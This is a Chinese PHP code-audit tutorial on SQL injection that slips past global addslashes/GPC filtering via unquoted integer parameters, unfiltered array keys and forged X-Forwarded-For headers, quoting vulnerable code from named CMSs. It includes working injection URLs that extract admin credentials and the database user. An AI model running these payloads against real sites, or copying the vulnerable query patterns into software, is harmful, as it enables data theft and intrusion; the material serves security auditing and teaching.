0x01 背景

现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递,也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护,实则隐藏了很多“后门”~
盲点如下:
①注入点类似id=1这种整型的参数就会完全无视GPC的过滤;
②注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;
③有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。
附常见的SERVER变量(具体含义自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

0x02 环境搭建

环境请自行搜寻和搭建吧,从这篇开始只做分析不提供漏洞测试环境~~

0x03 漏洞分析

完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

这个还是比较常见的,当初笔者挖到过一些,乌云案例http://www.wooyun.org/bugs/wooyun-2010-065605

<?php
require_once "admin/common.php";
require_once(MOBAN_PATH_QZ."header.html");
//这里typeid没有做整形转换
$typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1;
//sql语句没有单引号保护
$type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;
?>

获取管理员账户密码的POC:

http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,

2.同一参数在第一个sql里做了单引号保护,紧跟第二个忘记加单引号

有幸在Discuz!上看到此类问题,膜拜下雨牛的漏洞http://www.wooyun.org/bugs/wooyun-2014-079045
简单分析下漏洞原理
首先$itemid经过的第一条SQL语句如下

$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'')

$itemid是有单引号保护的并且做了select查询,如果查询有结果才会带入到delete中,如果无结果就不执行delete。在数据库里itemid是int类型存储的,所以这里本意是只能提交数字型才能查询出结果,如果不是提交的数字的话那么就查询不出来结果,就不去执行下面的delete语句了。但是由于mysql的类型转换,因为这里储存的是int类型,所以1xxxxx跟1的查询结果是一样的,如下:

然后后面第二条delete的sql语句如下

$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\'');

这里忘记加单引号了,根据上图我们可以构造获取数据库用户的POC:

http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#

3.php弱类型语言,判断逻辑错误引发注入

还是雨牛的案例http://www.wooyun.org/bugs/wooyun-2010-088872
这里只讲下漏洞形成的原理

如上图,弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。

数组类型,全局防护只过滤了value,key未过滤带入了查询

程序员往往在对数组的处理上不够严谨,导致会出现此类漏洞,笔者当年有幸挖到过ShopEx旗下的ecmall存在这类漏洞,链接:http://www.wooyun.org/bugs/wooyun-2010-065284
由于上面那个案例跟序列化相关且过程较为复杂,这里引用乌云另外一则案例:http://www.wooyun.org/bugs/wooyun-2010-069746,简要分析这个案例,我们首先看下对数组进行处理的函数:

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
... ...
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;

可以看到对数组的value进行了严格的过滤和addlashes转义,但对key没有任何过滤操作,然后我们全局搜索关键词“$key=>$value”,发现如下代码$key被带入了查询

elseif($job=='manage')
{
if(!$atc_power)showerr("你没权限");
if($rsdb[pages]<2){
header("location:post.php?job=edit&aid=$aid&mid=$mid&only=$only");exit;
}
$erp=get_id_table($aid);
if($step==2){
asort($orderDB);
$i=0;
foreach( $orderDB AS $key=>$value){
$i++;
$db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'");
}

构造获取管理员账户密码的POC如下图:

其它案例:http://www.wooyun.org/bugs/wooyun-2014-071516

SERVER变量未过滤

常常发生在获取用户ip并入库的函数上,类似如下代码:

//获取访问者IP(PHP代码/函数)	
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
$ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
$ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
$ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
$ip=$_SERVER['REMOTE_ADDR'];
}else{
$ip="unknown" ;
}
return $ip;
}

发现通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以我们全局搜索下get_ip函数发现有一些调用并且入库的地方。
program/index/receive/login.php处代码为例:

//这里使用get_ip函数获取客户ip
$ip=get_ip();
//这里入库,所以可以注入了
$sql="update ".$pdo->index_pre."user set `last_time`='$time',`last_ip`='$ip' where `id`='".$_SESSION['monxin']['id']."'";
$pdo->exec($sql);
$sql="select count(id) as c from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."'";
$stmt=$pdo->query($sql,2);
$v=$stmt->fetch(2);
if($v['c']<self::$config['other']['user_login_log']){
$sql="insert into ".$pdo->index_pre."user_login (`userid`,`ip`,`time`,`position`) values ('".$_SESSION['monxin']['id']."','$ip','$time','".get_ip_position($ip)."')";
}else{
$sql="select `id` from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."' order by time asc limit 0,1";
$stmt=$pdo->query($sql,2);
$v=$stmt->fetch(2);
$sql="update ".$pdo->index_pre."user_login set `ip`='$ip',`time`='$time' where `id`='".$v['id']."'";
}
$pdo->exec($sql);

案例:http://www.wooyun.org/bugs/wooyun-2010-0173485

原文链接:http://www.cnbraid.com/2016/05/10/sql6/,如需转载请联系作者。

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇的更多相关文章

  1. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 8.全局防护盲点的总结下篇

    0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,接上篇http://www ...

  2. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.同上一篇,我 ...

  3. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.遇到这种情况 ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  5. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护Bypass之一些函数的错误使用

    0x01 背景 PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace).反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞. 0x ...

  6. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  7. PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

  9. ASP代码审计学习笔记-1.SQL注入

    ASP注入漏洞 一.SQL注入的原因 按照参数形式:数字型/字符型/搜索型 1.数字型sql查询 sql注入原因: ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: id=request. ...

随机推荐

  1. 如何开启多用户同时远程连接(Windows2008 Windows2012)

  2. java、android 对比两个目录或文件是否是同一个目录或文件的方法

    由于软链接及android的外部卡mount方式存在,导致一个文件夹可能同时有两个路径,如: /mnt/sdcard1      /storage/ext_sdcard ,如果通过某种方式(如moun ...

  3. Spark RDD概念学习系列之RDD的checkpoint(九)

     RDD的检查点 首先,要清楚.为什么spark要引入检查点机制?引入RDD的检查点?  答:如果缓存丢失了,则需要重新计算.如果计算特别复杂或者计算耗时特别多,那么缓存丢失对于整个Job的影响是不容 ...

  4. 关于 3750 vlan 设置

    >#config int vlan 1                \\进入vlan1,vlan 1 是默认存在的,你不能改名字,也不能删除.你也可以建个新的vlan做你的管理口. ip ad ...

  5. 用 Python 脚本实现对 Linux 服务器的监控

    目前 Linux 下有一些使用 Python 语言编写的 Linux 系统监控工具 比如 inotify-sync(文件系统安全监控软件).glances(资源监控工具)在实际工作中,Linux 系统 ...

  6. QTbaWidget控件几个例程 【worldsing笔记】

    Qt Creator自带的 QTabWidget控件几个例程 在Qt Windos版本安装后,在Example目录可以找到与QTabWidget相关的工程Demo,如果按默认安装的话他们分别是:   ...

  7. [转]前景检测算法--ViBe算法

    原文:http://blog.csdn.net/zouxy09/article/details/9622285 转自:http://blog.csdn.net/app_12062011/article ...

  8. lght oj 1257 - Farthest Nodes in a Tree (II) (树dp)

    题目链接:http://www.lightoj.com/volume_showproblem.php?problem=1257 跟hdu2196一样,两次dfs //#pragma comment(l ...

  9. How Tomcat Works(九)

    本文接下来描述servlet容器是怎样管理其相关组件的生命周期的,首先本人描述一下事件监听模式,也可以称为观察者模式,该模式分为以下角色 即抽象主题角色 具体主题角色 抽象观察者角色及具体观察者角色, ...

  10. 动态调用WebService(C#)

    通常我们在程序中需要调用WebService时,都是通过“添加Web引用”,让VS.NET环境来为我们生成服务代理,然后调用对应的Web服务.这样是使工作简单了,但是却和提供Web服务的URL.方法名 ...